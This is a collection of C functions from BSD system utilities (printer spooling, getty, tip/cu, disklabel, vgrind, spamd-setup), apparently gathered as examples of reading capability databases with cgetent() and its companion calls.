/* * Perform lookup for printer name or abbreviation -- */ static int chkprinter(const char *s) { int stat; int len; if ((stat = cgetent(&bp, printcapdb, s)) == -2) { printf("pac: can't open printer description file\n"); exit(3); } else if (stat == -1) return(0); else if (stat == -3) fatal("potential reference loop detected in printcap file"); if (cgetstr(bp, "af", &acctfile) == -1) { printf("accounting not enabled for printer %s\n", printer); exit(2); } if (!pflag && (cgetnum(bp, "pc", &price100) == 0)) price = price100/10000.0; len = strlen(acctfile) + 5; sumfile = (char *) malloc(len); if (sumfile == NULL) err(1, "pac"); strlcpy(sumfile, acctfile, len); strlcat(sumfile, "_sum", len); return(1); }
/* * Print the status of each queue listed or all the queues. */ void status(int argc, char **argv) { int c, status; char *cp1, *cp2; char prbuf[100]; if (argc == 1 || (argc == 2 && strcmp(argv[1], "all") == 0)) { printer = prbuf; while (cgetnext(&bp, printcapdb) > 0) { cp1 = prbuf; cp2 = bp; while ((c = *cp2++) && c != '|' && c != ':' && (cp1 - prbuf) < sizeof(prbuf) - 1) *cp1++ = c; *cp1 = '\0'; prstat(); } return; } while (--argc) { printer = *++argv; if ((status = cgetent(&bp, printcapdb, printer)) == -2) { printf("cannot open printer description file\n"); continue; } else if (status == -1) { printf("unknown printer %s\n", printer); continue; } else if (status == -3) fatal("potential reference loop detected in printcap file"); prstat(); } }
static int getmodemparms (const char *modem) { char *bp, *db_array [3], *modempath; int ndx, stat; modem_parm_t *mpp; modempath = getenv ("MODEMS"); ndx = 0; if (modempath != NULL) db_array [ndx++] = modempath; db_array [ndx++] = _PATH_MODEMS; db_array [ndx] = NULL; if ((stat = cgetent (&bp, db_array, (char *)modem)) < 0) { switch (stat) { case -1: warnx ("unknown modem %s", modem); break; case -2: warnx ("can't open modem description file"); break; case -3: warnx ("possible reference loop in modem description file"); break; } return 0; } for (mpp = modem_parms; mpp->name; mpp++) { switch (mpp->modem_parm_type) { case mpt_string: if (cgetstr (bp, (char *)mpp->name, mpp->value.string) == -1) *mpp->value.string = mpp->default_value.string; break; case mpt_number: { long l; if (cgetnum (bp, (char *)mpp->name, &l) == -1) *mpp->value.number = mpp->default_value.number; else *mpp->value.number = (unsigned int)l; } break; case mpt_boolean: *mpp->value.number = cgetflag ((char *)mpp->name); break; default: break; } } strncpy (modem_name, modem, sizeof (modem_name) - 1); modem_name [sizeof (modem_name) - 1] = '\0'; return 1; }
/*ARGSUSED*/ int getent(char *cp, char *name) { #ifdef HAS_CGETENT const char *dba[2]; dba[0] = "/etc/gettytab"; dba[1] = 0; return((cgetent(&area, dba, name) == 0) ? 1 : 0); #else return(0); #endif }
void recvjob(void) { struct stat stb; int status; /* * Perform lookup for printer name or abbreviation */ if ((status = cgetent(&bp, printcapdb, printer)) == -2) frecverr("cannot open printer description file"); else if (status == -1) frecverr("unknown printer %s", printer); else if (status == -3) fatal("potential reference loop detected in printcap file"); if (cgetstr(bp, "lf", &LF) == -1) LF = _PATH_CONSOLE; if (cgetstr(bp, "sd", &SD) == -1) SD = _PATH_DEFSPOOL; if (cgetstr(bp, "lo", &LO) == -1) LO = DEFLOCK; (void)close(2); /* set up log file */ PRIV_START; if (open(LF, O_WRONLY|O_APPEND, 0664) < 0) { syslog(LOG_ERR, "%s: %m", LF); (void)open(_PATH_DEVNULL, O_WRONLY); } PRIV_END; if (chdir(SD) < 0) frecverr("%s: %s: %m", printer, SD); if (stat(LO, &stb) == 0) { if (stb.st_mode & 010) { /* queue is disabled */ putchar('\1'); /* return error code */ exit(1); } } else if (stat(SD, &stb) < 0) frecverr("%s: %s: %m", printer, SD); minfree = 2 * read_number("minfree"); /* scale KB to 512 blocks */ signal(SIGTERM, rcleanup); signal(SIGPIPE, rcleanup); if (readjob()) printjob(); }
/* * Read the printcap database for printer `printer' into the * struct printer pointed by `pp'. Return values are as for * cgetent(3): -1 means we could not find what we wanted, -2 * means a system error occurred (and errno is set), -3 if a * reference (`tc=') loop was detected, and 0 means success. * * Copied from lpr; should add additional capabilities as they * are required by the other programs in the suite so that * printcap-reading is consistent across the entire family. */ int getprintcap(const char *printer, struct printer *pp) { int status; char *XXX; char *bp; /* * A bug in the declaration of cgetent(3) means that we have * to hide the constness of its third argument. */ XXX = (char *)printer; if ((status = cgetent(&bp, printcapdb, XXX)) < 0) return status; status = getprintcap_int(bp, pp); free(bp); return status; }
/* * Get a table entry. */ void gettable(char *name, char *buf) { struct gettystrs *sp; struct gettynums *np; struct gettyflags *fp; long n; char *dba[2]; dba[0] = _PATH_GETTYTAB; dba[1] = 0; if (cgetent(&buf, dba, name) != 0) return; for (sp = gettystrs; sp->field; sp++) cgetstr(buf, sp->field, &sp->value); for (np = gettynums; np->field; np++) { if (cgetnum(buf, np->field, &n) == -1) np->set = 0; else { np->set = 1; np->value = n; } } for (fp = gettyflags; fp->field; fp++) { if (cgetcap(buf, fp->field, ':') == NULL) fp->set = 0; else { fp->set = 1; fp->value = 1 ^ fp->invrt; } } #ifdef DEBUG printf("name=\"%s\", buf=\"%s\"\n", name, buf); for (sp = gettystrs; sp->field; sp++) printf("cgetstr: %s=%s\n", sp->field, sp->value); for (np = gettynums; np->field; np++) printf("cgetnum: %s=%d\n", np->field, np->value); for (fp = gettyflags; fp->field; fp++) printf("cgetflags: %s='%c' set='%c'\n", fp->field, fp->value + '0', fp->set + '0'); exit(1); #endif /* DEBUG */ }
void try_remote(const char *host, const char *path, const char *entry) { const char *paths[] = { "/etc/remote", NULL, NULL }; char *cp, *s; long l; int error; if (path != NULL) { paths[0] = path; paths[1] = "/etc/remote"; } if (entry != NULL && cgetset(entry) != 0) cu_errx(1, "cgetset failed"); error = cgetent(&cp, (char**)paths, (char*)host); if (error < 0) { switch (error) { case -1: cu_errx(1, "unknown host %s", host); case -2: cu_errx(1, "can't open remote file"); case -3: cu_errx(1, "loop in remote file"); default: cu_errx(1, "unknown error in remote file"); } } if (line_path == NULL && cgetstr(cp, "dv", &s) >= 0) line_path = s; if (line_speed == -1 && cgetnum(cp, "br", &l) >= 0) { if (l < 0 || l > INT_MAX) cu_errx(1, "speed out of range"); line_speed = l; } }
/* * Perform lookup for printer name or abbreviation -- */ static void chkprinter(char *s) { int status; if ((status = cgetent(&bp, printcapdb, s)) == -2) errx(1, "cannot open printer description file"); else if (status == -1) errx(1, "%s: unknown printer", s); if (cgetstr(bp, "sd", &SD) == -1) SD = _PATH_DEFSPOOL; if (cgetstr(bp, "lo", &LO) == -1) LO = DEFLOCK; cgetstr(bp, "rg", &RG); if (cgetnum(bp, "mx", &MX) < 0) MX = DEFMX; if (cgetnum(bp, "mc", &MC) < 0) MC = DEFMAXCOPIES; if (cgetnum(bp, "du", &DU) < 0) DU = DEFUID; SC = (cgetcap(bp, "sc", ':') != NULL); SH = (cgetcap(bp, "sh", ':') != NULL); }
/* * Disable queuing and printing and put a message into the status file * (reason for being down). */ void down(int argc, char **argv) { int c, status; char *cp1, *cp2; char prbuf[100]; if (argc == 1) { printf("usage: down {all | printer} [message ...]\n"); return; } if (strcmp(argv[1], "all") == 0) { printer = prbuf; while (cgetnext(&bp, printcapdb) > 0) { cp1 = prbuf; cp2 = bp; while ((c = *cp2++) && c != '|' && c != ':' && (cp1 - prbuf) < sizeof(prbuf) - 1) *cp1++ = c; *cp1 = '\0'; putmsg(argc - 2, argv + 2); } return; } printer = argv[1]; if ((status = cgetent(&bp, printcapdb, printer)) == -2) { printf("cannot open printer description file\n"); return; } else if (status == -1) { printf("unknown printer %s\n", printer); return; } else if (status == -3) fatal("potential reference loop detected in printcap file"); putmsg(argc - 2, argv + 2); }
struct disklabel * getdiskbyname(const char *name) { static struct disklabel disk; struct disklabel *dp = &disk; struct partition *pp; char *buf; char *cp, *cq; /* can't be */ char p, max, psize[3], pbsize[3], pfsize[3], poffset[3], ptype[3]; u_int32_t *dx; long f; _DIAGASSERT(name != NULL); if (cgetent(&buf, db_array, name) < 0) return NULL; memset(&disk, 0, sizeof(disk)); /* * typename */ cq = dp->d_typename; cp = buf; while (cq < dp->d_typename + sizeof(dp->d_typename) - 1 && (*cq = *cp) && *cq != '|' && *cq != ':') cq++, cp++; *cq = '\0'; /* * boot name (optional) xxboot, bootxx */ cgetstr(buf, "b0", &dp->d_boot0); cgetstr(buf, "b1", &dp->d_boot1); if (cgetstr(buf, "ty", &cq) >= 0) { if (strcmp(cq, "removable") == 0) dp->d_flags |= D_REMOVABLE; else if (strcmp(cq, "simulated") == 0) dp->d_flags |= D_RAMDISK; free(cq); } if (cgetcap(buf, "sf", ':') != NULL) dp->d_flags |= D_BADSECT; #define getnumdflt(field, dname, dflt) \ (field) = ((cgetnum(buf, dname, &f) == -1) ? (dflt) : (u_int32_t) f) #define getnum(field, dname) \ if (cgetnum(buf, dname, &f) != -1) field = (u_int32_t)f getnumdflt(dp->d_secsize, "se", DEV_BSIZE); getnum(dp->d_ntracks, "nt"); getnum(dp->d_nsectors, "ns"); getnum(dp->d_ncylinders, "nc"); if (cgetstr(buf, "dt", &cq) >= 0) { dp->d_type = gettype(cq, dktypenames); free(cq); } else getnumdflt(dp->d_type, "dt", 0); getnumdflt(dp->d_secpercyl, "sc", dp->d_nsectors * dp->d_ntracks); getnumdflt(dp->d_secperunit, "su", dp->d_secpercyl * dp->d_ncylinders); getnumdflt(dp->d_rpm, "rm", 3600); getnumdflt(dp->d_interleave, "il", 1); getnumdflt(dp->d_trackskew, "sk", 0); getnumdflt(dp->d_cylskew, "cs", 0); getnumdflt(dp->d_headswitch, "hs", 0); getnumdflt(dp->d_trkseek, "ts", 0); getnumdflt(dp->d_bbsize, "bs", BBSIZE); getnumdflt(dp->d_sbsize, "sb", SBLOCKSIZE); strcpy(psize, "px"); /* XXX: strcpy is safe */ strcpy(pbsize, "bx"); /* XXX: strcpy is safe */ strcpy(pfsize, "fx"); /* XXX: strcpy is safe */ strcpy(poffset, "ox"); /* XXX: strcpy is safe */ strcpy(ptype, "tx"); /* XXX: strcpy is safe */ max = 'a' - 1; pp = &dp->d_partitions[0]; for (p = 'a'; p < 'a' + MAXPARTITIONS; p++, pp++) { long ff; psize[1] = pbsize[1] = pfsize[1] = poffset[1] = ptype[1] = p; if (cgetnum(buf, psize, &ff) == -1) pp->p_size = 0; else { pp->p_size = (u_int32_t)ff; getnum(pp->p_offset, poffset); getnumdflt(pp->p_fsize, pfsize, 0); if (pp->p_fsize) { long bsize; if (cgetnum(buf, pbsize, &bsize) == -1) pp->p_frag = 8; else pp->p_frag = (u_int8_t)(bsize / pp->p_fsize); } getnumdflt(pp->p_fstype, ptype, 0); if (pp->p_fstype == 0) if (cgetstr(buf, ptype, &cq) >= 0) { pp->p_fstype = gettype(cq, fstypenames); free(cq); } max = p; } } dp->d_npartitions = max + 1 - 'a'; strcpy(psize, "dx"); /* XXX: strcpy is safe */ dx = dp->d_drivedata; for (p = '0'; p < '0' + NDDATA; p++, dx++) { psize[1] = p; getnumdflt(*dx, psize, 0); } dp->d_magic = DISKMAGIC; dp->d_magic2 = DISKMAGIC; free(buf); return (dp); }
static void getremcap(char *host) { char **p, ***q; char *bp; char *rempath; int stat; rempath = getenv("REMOTE"); if (rempath != NULL) { if (*rempath != '/') /* we have an entry */ cgetset(rempath); else { /* we have a path */ db_array[1] = rempath; db_array[2] = _PATH_REMOTE; } } if ((stat = cgetent(&bp, db_array, host)) < 0) { if (DV || (host[0] == '/' && access(DV = host, R_OK | W_OK) == 0)) { CU = DV; HO = host; HW = 1; DU = 0; if (!BR) BR = DEFBR; FS = BUFSIZ; return; } switch(stat) { case -1: warnx("unknown host %s", host); break; case -2: warnx("can't open host description file"); break; case -3: warnx("possible reference loop in host description file"); break; } exit(3); } for (p = capstrings, q = caps; *p != NULL; p++, q++) if (**q == NULL) cgetstr(bp, *p, *q); if (!BR && (cgetnum(bp, "br", &BR) == -1)) BR = DEFBR; if (cgetnum(bp, "fs", &FS) == -1) FS = BUFSIZ; if (DU < 0) DU = 0; else DU = cgetflag("du"); if (DV == NULL) { fprintf(stderr, "%s: missing device spec\n", host); exit(3); } if (DU && CU == NULL) CU = DV; if (DU && PN == NULL) { fprintf(stderr, "%s: missing phone number\n", host); exit(3); } HD = cgetflag("hd"); /* * This effectively eliminates the "hw" attribute * from the description file */ if (!HW) HW = (CU == NULL) || (DU && equal(DV, CU)); HO = host; /* If login script, verify access */ if (LI != NULL) { if (*LI == '~') (void) expand_tilde (&LI, NULL); if (access (LI, F_OK | X_OK) != 0) { printf("tip (warning): can't open login script \"%s\"\n", LI); LI = NULL; } } /* If logout script, verify access */ if (LO != NULL) { if (*LO == '~') (void) expand_tilde (&LO, NULL); if (access (LO, F_OK | X_OK) != 0) { printf("tip (warning): can't open logout script \"%s\"\n", LO); LO = NULL; } } /* * see if uppercase mode should be turned on initially */ if (cgetflag("ra")) boolean(value(RAISE)) = 1; if (cgetflag("ec")) boolean(value(ECHOCHECK)) = 1; if (cgetflag("be")) boolean(value(BEAUTIFY)) = 1; if (cgetflag("nb")) boolean(value(BEAUTIFY)) = 0; if (cgetflag("sc")) boolean(value(SCRIPT)) = 1; if (cgetflag("tb")) boolean(value(TABEXPAND)) = 1; if (cgetflag("vb")) boolean(value(VERBOSE)) = 1; if (cgetflag("nv")) boolean(value(VERBOSE)) = 0; if (cgetflag("ta")) boolean(value(TAND)) = 1; if (cgetflag("nt")) boolean(value(TAND)) = 0; if (cgetflag("rw")) boolean(value(RAWFTP)) = 1; if (cgetflag("hd")) boolean(value(HALFDUPLEX)) = 1; if (RE == NULL) RE = (char *)"tip.record"; if (EX == NULL) EX = (char *)"\t\n\b\f"; if (ES != NULL) vstring("es", ES); if (FO != NULL) vstring("fo", FO); if (PR != NULL) vstring("pr", PR); if (RC != NULL) vstring("rc", RC); if (cgetnum(bp, "dl", &DL) == -1) DL = 0; if (cgetnum(bp, "cl", &CL) == -1) CL = 0; if (cgetnum(bp, "et", &ET) == -1) ET = 10; }
int main(int argc, char **argv) { const char *fname = ""; struct stat stbuf; char buf[BUFSIZ]; char *defs; int needbp = 0; argc--, argv++; do { char *cp; int i; if (argc > 0) { if (!strcmp(argv[0], "-h")) { if (argc == 1) { printf("'ds =H\n"); argc = 0; goto rest; } printf("'ds =H %s\n", argv[1]); argc--, argv++; argc--, argv++; if (argc > 0) continue; goto rest; } /* act as a filter like eqn */ if (!strcmp(argv[0], "-f")) { filter = true; argv[0] = argv[argc-1]; argv[argc-1] = minus; continue; } /* take input from the standard place */ if (!strcmp(argv[0], "-")) { argc = 0; goto rest; } /* build an index */ if (!strcmp(argv[0], "-x")) { idx = true; argv[0] = minusn; } /* indicate no keywords */ if (!strcmp(argv[0], "-n")) { nokeyw = true; argc--, argv++; continue; } /* specify the font size */ if (!strncmp(argv[0], "-s", 2)) { i = 0; cp = argv[0] + 2; while (*cp) i = i * 10 + (*cp++ - '0'); printf("'ps %d\n'vs %d\n", i, i+1); argc--, argv++; continue; } /* specify the language */ if (!strncmp(argv[0], "-l", 2)) { language = argv[0]+2; argc--, argv++; continue; } /* specify the language description file */ if (!strncmp(argv[0], "-d", 2)) { defsfile[0] = argv[1]; argc--, argv++; argc--, argv++; continue; } /* open the file for input */ if (freopen(argv[0], "r", stdin) == NULL) err(1, "%s", argv[0]); if (idx) printf("'ta 4i 4.25i 5.5iR\n'in .5i\n"); fname = argv[0]; argc--, argv++; } rest: /* * get the language definition from the defs file */ i = cgetent(&defs, defsfile, language); if (i == -1) { fprintf (stderr, "no entry for language %s\n", language); exit(0); } else if (i == -2) { fprintf(stderr, "cannot find vgrindefs file %s\n", defsfile[0]); exit(0); } else if (i == -3) { fprintf(stderr, "potential reference loop detected in vgrindefs file %s\n", defsfile[0]); exit(0); } if (cgetustr(defs, "kw", &cp) == -1) nokeyw = true; else { char **cpp; cpp = l_keywds; while (*cp) { while (*cp == ' ' || *cp =='\t') *cp++ = '\0'; if (*cp) *cpp++ = cp; while (*cp != ' ' && *cp != '\t' && *cp) cp++; } *cpp = NULL; } cgetustr(defs, "pb", &cp); l_prcbeg = convexp(cp); cgetustr(defs, "cb", &cp); l_combeg = convexp(cp); cgetustr(defs, "ce", &cp); l_comend = convexp(cp); cgetustr(defs, "ab", &cp); l_acmbeg = convexp(cp); cgetustr(defs, "ae", &cp); l_acmend = convexp(cp); cgetustr(defs, "sb", &cp); l_strbeg = convexp(cp); cgetustr(defs, "se", &cp); l_strend = convexp(cp); cgetustr(defs, "bb", &cp); l_blkbeg = convexp(cp); cgetustr(defs, "be", &cp); l_blkend = convexp(cp); cgetustr(defs, "lb", &cp); l_chrbeg = convexp(cp); cgetustr(defs, "le", &cp); l_chrend = convexp(cp); if (cgetustr(defs, "nc", &cp) >= 0) l_nocom = convexp(cp); l_escape = '\\'; l_onecase = (cgetcap(defs, "oc", ':') != NULL); l_toplex = (cgetcap(defs, "tl", ':') != NULL); /* initialize the program */ incomm = false; instr = false; inchr = false; _escaped = false; blklevel = 0; for (psptr=0; psptr<PSMAX; psptr++) { pstack[psptr][0] = '\0'; plstack[psptr] = 0; } psptr = -1; ps("'-F\n"); if (!filter) { printf(".ds =F %s\n", fname); ps("'wh 0 vH\n"); ps("'wh -1i vF\n"); } if (needbp) { needbp = 0; printf(".()\n"); printf(".bp\n"); } if (!filter) { fstat(fileno(stdin), &stbuf); cp = ctime(&stbuf.st_mtime); cp[16] = '\0'; cp[24] = '\0'; printf(".ds =M %s %s\n", cp+4, cp+20); } /* * MAIN LOOP!!! */ while (fgets(buf, sizeof buf, stdin) != NULL) { if (buf[0] == '\f') { printf(".bp\n"); } if (buf[0] == '.') { printf("%s", buf); if (!strncmp (buf+1, "vS", 2)) pass = true; if (!strncmp (buf+1, "vE", 2)) pass = false; continue; } prccont = false; if (!filter || pass) putScp(buf); else printf("%s", buf); if (prccont && (psptr >= 0)) { ps("'FC "); ps(pstack[psptr]); ps("\n"); } #ifdef DEBUG printf ("com %o str %o chr %o ptr %d\n", incomm, instr, inchr, psptr); #endif margin = 0; } needbp = 1; } while (argc > 0); exit(0); }
int main(int argc, char *argv[]) { size_t blc, bls, black, white; char *db_array[2], *buf, *name; struct blacklist *blists; struct servent *ent; int daemonize = 0, ch; while ((ch = getopt(argc, argv, "bdDn")) != -1) { switch (ch) { case 'n': dryrun = 1; break; case 'd': debug = 1; break; case 'b': greyonly = 0; break; case 'D': daemonize = 1; break; default: usage(); break; } } argc -= optind; argv += optind; if (argc != 0) usage(); if (daemonize) daemon(0, 0); if ((ent = getservbyname("spamd-cfg", "tcp")) == NULL) errx(1, "cannot find service \"spamd-cfg\" in /etc/services"); ent->s_port = ntohs(ent->s_port); db_array[0] = PATH_SPAMD_CONF; db_array[1] = NULL; if (cgetent(&buf, db_array, "all") != 0) err(1, "Can't find \"all\" in spamd config"); name = strsep(&buf, ": \t"); /* skip "all" at start */ blists = NULL; blc = bls = 0; while ((name = strsep(&buf, ": \t")) != NULL) { if (*name) { /* extract config in order specified in "all" tag */ if (blc == bls) { struct blacklist *tmp; bls += 32; tmp = realloc(blists, bls * sizeof(struct blacklist)); if (tmp == NULL) errx(1, "malloc failed"); blists = tmp; } if (blc == 0) black = white = 0; else { white = blc - 1; black = blc; } memset(&blists[black], 0, sizeof(struct blacklist)); black = getlist(db_array, name, &blists[white], &blists[black]); if (black && blc > 0) { /* collapse and free previous blacklist */ send_blacklist(&blists[blc - 1], ent->s_port); } blc += black; } } /* collapse and free last blacklist */ if (blc > 0) send_blacklist(&blists[blc - 1], ent->s_port); return (0); }
/* * Display the current state of the queue. Format = 1 if long format. */ void displayq(int format) { struct queue *q; int i, rank, nitems, fd, ret, len; char *cp, *ecp, *p; struct queue **queue; struct winsize win; struct stat statb; FILE *fp; termwidth = 80; if (isatty(STDOUT_FILENO)) { if ((p = getenv("COLUMNS")) != NULL) termwidth = atoi(p); else if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &win) == 0 && win.ws_col > 0) termwidth = win.ws_col; } if (termwidth < 60) termwidth = 60; lflag = format; totsize = 0; if ((i = cgetent(&bp, printcapdb, printer)) == -2) fatal("can't open printer description file"); else if (i == -1) fatal("unknown printer"); else if (i == -3) fatal("potential reference loop detected in printcap file"); if (cgetstr(bp, DEFLP, &LP) < 0) LP = _PATH_DEFDEVLP; if (cgetstr(bp, "rp", &RP) < 0) RP = DEFLP; if (cgetstr(bp, "sd", &SD) < 0) SD = _PATH_DEFSPOOL; if (cgetstr(bp,"lo", &LO) < 0) LO = DEFLOCK; if (cgetstr(bp, "st", &ST) < 0) ST = DEFSTAT; cgetstr(bp, "rm", &RM); if ((cp = checkremote()) != NULL) printf("Warning: %s\n", cp); /* * Print out local queue * Find all the control files in the spooling directory */ PRIV_START; if (chdir(SD) < 0) fatal("cannot chdir to spooling directory"); PRIV_END; if ((nitems = getq(&queue)) < 0) fatal("cannot examine spooling area"); PRIV_START; ret = stat(LO, &statb); PRIV_END; if (ret >= 0) { if (statb.st_mode & S_IXUSR) { if (remote) printf("%s: ", host); printf("Warning: %s is down: ", printer); PRIV_START; fd = safe_open(ST, O_RDONLY|O_NOFOLLOW, 0); PRIV_END; if (fd >= 0 && flock(fd, LOCK_SH) == 0) { while ((i = read(fd, line, sizeof(line))) > 0) (void)fwrite(line, 1, i, stdout); (void)close(fd); /* unlocks as well */ } else putchar('\n'); } if (statb.st_mode & S_IXGRP) { if (remote) printf("%s: ", host); printf("Warning: %s queue is turned off\n", printer); } } if (nitems) { PRIV_START; fd = safe_open(LO, O_RDONLY|O_NOFOLLOW, 0); PRIV_END; if (fd < 0 || (fp = fdopen(fd, "r")) == NULL) { if (fd >= 0) close(fd); nodaemon(); } else { /* get daemon pid */ cp = current; ecp = cp + sizeof(current) - 1; while ((i = getc(fp)) != EOF && i != '\n') { if (cp < ecp) *cp++ = i; } *cp = '\0'; i = atoi(current); if (i <= 0) { ret = -1; } else { PRIV_START; ret = kill(i, 0); PRIV_END; } if (ret < 0 && errno != EPERM) { nodaemon(); } else { /* read current file name */ cp = current; ecp = cp + sizeof(current) - 1; while ((i = getc(fp)) != EOF && i != '\n') { if (cp < ecp) *cp++ = i; } *cp = '\0'; /* * Print the status file. */ if (remote) printf("%s: ", host); PRIV_START; fd = safe_open(ST, O_RDONLY|O_NOFOLLOW, 0); PRIV_END; if (fd >= 0 && flock(fd, LOCK_SH) == 0) { while ((i = read(fd, line, sizeof(line))) > 0) (void)fwrite(line, 1, i, stdout); (void)close(fd); /* unlocks as well */ } else putchar('\n'); } (void)fclose(fp); } /* * Now, examine the control files and print out the jobs to * be done for each user. */ if (!lflag) header(); /* The currently printed job is treated specially. */ if (!remote && current[0] != '\0') inform(current, 0); for (i = 0, rank = 1; i < nitems; i++) { q = queue[i]; if (remote || strcmp(current, q->q_name) != 0) inform(q->q_name, rank++); free(q); } } free(queue); if (!remote) { if (nitems == 0) puts("no entries"); return; } /* * Print foreign queue * Note that a file in transit may show up in either queue. */ if (nitems) putchar('\n'); (void)snprintf(line, sizeof(line), "%c%s", format + '\3', RP); cp = line; cp += strlen(cp); for (i = 0; i < requests && cp - line < sizeof(line) - 1; i++) { len = line + sizeof(line) - cp; if (snprintf(cp, len, " %d", requ[i]) >= len) { cp += strlen(cp); break; } cp += strlen(cp); } for (i = 0; i < users && cp - line < sizeof(line) - 1; i++) { len = line + sizeof(line) - cp; if (snprintf(cp, len, " %s", user[i]) >= len) { cp += strlen(cp); break; } } if (cp-line < sizeof(line) - 1) strlcat(line, "\n", sizeof(line)); else line[sizeof(line) - 2] = '\n'; fd = getport(RM, 0); if (fd < 0) { if (from != host) printf("%s: ", host); (void)printf("connection to %s is down\n", RM); } else { struct sigaction osa, nsa; char *visline; int n = 0; i = strlen(line); if (write(fd, line, i) != i) fatal("Lost connection"); memset(&nsa, 0, sizeof(nsa)); nsa.sa_handler = alarmer; sigemptyset(&nsa.sa_mask); nsa.sa_flags = 0; (void)sigaction(SIGALRM, &nsa, &osa); alarm(wait_time); if ((visline = (char *)malloc(4 * sizeof(line) + 1)) == NULL) fatal("Out of memory"); while ((i = read(fd, line, sizeof(line))) > 0) { n = strvisx(visline, line, i, VIS_SAFE|VIS_NOSLASH); (void)fwrite(visline, 1, n, stdout); alarm(wait_time); } /* XXX some LPR implementations may not end stream with '\n' */ if (n > 0 && visline[n-1] != '\n') putchar('\n'); alarm(0); (void)sigaction(SIGALRM, &osa, NULL); free(visline); (void)close(fd); } }
struct disklabel * getdiskbyname(const char *name) { static struct disklabel disk; struct disklabel *dp = &disk; struct partition *pp; char *buf; char *db_array[2] = { _PATH_DISKTAB, 0 }; char *cp, *cq; /* can't be register */ char p, max, psize[3], pbsize[3], pfsize[3], poffset[3], ptype[3]; u_int32_t *dx; if (cgetent(&buf, db_array, (char *) name) < 0) return NULL; bzero((char *)&disk, sizeof(disk)); /* * typename */ cq = dp->d_typename; cp = buf; while (cq < dp->d_typename + sizeof(dp->d_typename) - 1 && (*cq = *cp) && *cq != '|' && *cq != ':') cq++, cp++; *cq = '\0'; if (cgetstr(buf, "ty", &cq) > 0 && strcmp(cq, "removable") == 0) dp->d_flags |= D_REMOVABLE; else if (cq && strcmp(cq, "simulated") == 0) dp->d_flags |= D_RAMDISK; if (cgetcap(buf, "sf", ':') != NULL) dp->d_flags |= D_BADSECT; #define getnumdflt(field, dname, dflt) \ { long f; (field) = (cgetnum(buf, dname, &f) == -1) ? (dflt) : f; } getnumdflt(dp->d_secsize, "se", DEV_BSIZE); getnumdflt(dp->d_ntracks, "nt", 0); getnumdflt(dp->d_nsectors, "ns", 0); getnumdflt(dp->d_ncylinders, "nc", 0); if (cgetstr(buf, "dt", &cq) > 0) dp->d_type = gettype(cq, dktypenames); else getnumdflt(dp->d_type, "dt", 0); getnumdflt(dp->d_secpercyl, "sc", dp->d_nsectors * dp->d_ntracks); getnumdflt(dp->d_secperunit, "su", dp->d_secpercyl * dp->d_ncylinders); getnumdflt(dp->d_rpm, "rm", 3600); getnumdflt(dp->d_interleave, "il", 1); getnumdflt(dp->d_trackskew, "sk", 0); getnumdflt(dp->d_cylskew, "cs", 0); getnumdflt(dp->d_headswitch, "hs", 0); getnumdflt(dp->d_trkseek, "ts", 0); getnumdflt(dp->d_bbsize, "bs", BBSIZE); getnumdflt(dp->d_sbsize, "sb", 0); strcpy(psize, "px"); strcpy(pbsize, "bx"); strcpy(pfsize, "fx"); strcpy(poffset, "ox"); strcpy(ptype, "tx"); max = 'a' - 1; pp = &dp->d_partitions[0]; for (p = 'a'; p < 'a' + MAXPARTITIONS; p++, pp++) { long l; psize[1] = pbsize[1] = pfsize[1] = poffset[1] = ptype[1] = p; if (cgetnum(buf, psize, &l) == -1) pp->p_size = 0; else { pp->p_size = l; cgetnum(buf, poffset, &l); pp->p_offset = l; getnumdflt(pp->p_fsize, pfsize, 0); if (pp->p_fsize) { long bsize; if (cgetnum(buf, pbsize, &bsize) == 0) pp->p_frag = bsize / pp->p_fsize; else pp->p_frag = 8; } getnumdflt(pp->p_fstype, ptype, 0); if (pp->p_fstype == 0 && cgetstr(buf, ptype, &cq) > 0) pp->p_fstype = gettype(cq, fstypenames); max = p; } } dp->d_npartitions = max + 1 - 'a'; (void)strcpy(psize, "dx"); dx = dp->d_drivedata; for (p = '0'; p < '0' + NDDATA; p++, dx++) { psize[1] = p; getnumdflt(*dx, psize, 0); } dp->d_magic = DISKMAGIC; dp->d_magic2 = DISKMAGIC; free(buf); return (dp); }
/* * Get a table entry. */ void gettable(const char *name, char *buf) { struct gettystrs *sp; struct gettynums *np; struct gettyflags *fp; long n; int l; char *p; char *msg = NULL; const char *dba[2]; static int firsttime = 1; dba[0] = _PATH_GETTYTAB; dba[1] = NULL; if (firsttime) { /* * we need to strdup() anything in the strings array * initially in order to simplify things later */ for (sp = gettystrs; sp->field; sp++) if (sp->value != NULL) { /* handle these ones more carefully */ if (sp >= &gettystrs[4] && sp <= &gettystrs[6]) l = 2; else l = strlen(sp->value) + 1; if ((p = malloc(l)) != NULL) { strncpy(p, sp->value, l); p[l-1] = '\0'; } /* * replace, even if NULL, else we'll * have problems with free()ing static mem */ sp->value = p; } firsttime = 0; } switch (cgetent(&buf, (char **)dba, (char *)name)) { case 1: msg = "%s: couldn't resolve 'tc=' in gettytab '%s'"; case 0: break; case -1: msg = "%s: unknown gettytab entry '%s'"; break; case -2: msg = "%s: retrieving gettytab entry '%s': %m"; break; case -3: msg = "%s: recursive 'tc=' reference gettytab entry '%s'"; break; default: msg = "%s: unexpected cgetent() error for entry '%s'"; break; } if (msg != NULL) { syslog(LOG_ERR, msg, "getty", name); return; } for (sp = gettystrs; sp->field; sp++) { if ((l = cgetstr(buf, (char*)sp->field, &p)) >= 0) { if (sp->value) { /* prefer existing value */ if (strcmp(p, sp->value) != 0) free(sp->value); else { free(p); p = sp->value; } } sp->value = p; } else if (l == -1) { free(sp->value); sp->value = NULL; } } for (np = gettynums; np->field; np++) { if (cgetnum(buf, (char*)np->field, &n) == -1) np->set = 0; else { np->set = 1; np->value = n; } } for (fp = gettyflags; fp->field; fp++) { if (cgetcap(buf, (char *)fp->field, ':') == NULL) fp->set = 0; else { fp->set = 1; fp->value = 1 ^ fp->invrt; } } #ifdef DEBUG printf("name=\"%s\", buf=\"%s\"\r\n", name, buf); for (sp = gettystrs; sp->field; sp++) printf("cgetstr: %s=%s\r\n", sp->field, sp->value); for (np = gettynums; np->field; np++) printf("cgetnum: %s=%d\r\n", np->field, np->value); for (fp = gettyflags; fp->field; fp++) printf("cgetflags: %s='%c' set='%c'\r\n", fp->field, fp->value + '0', fp->set + '0'); #endif /* DEBUG */ }
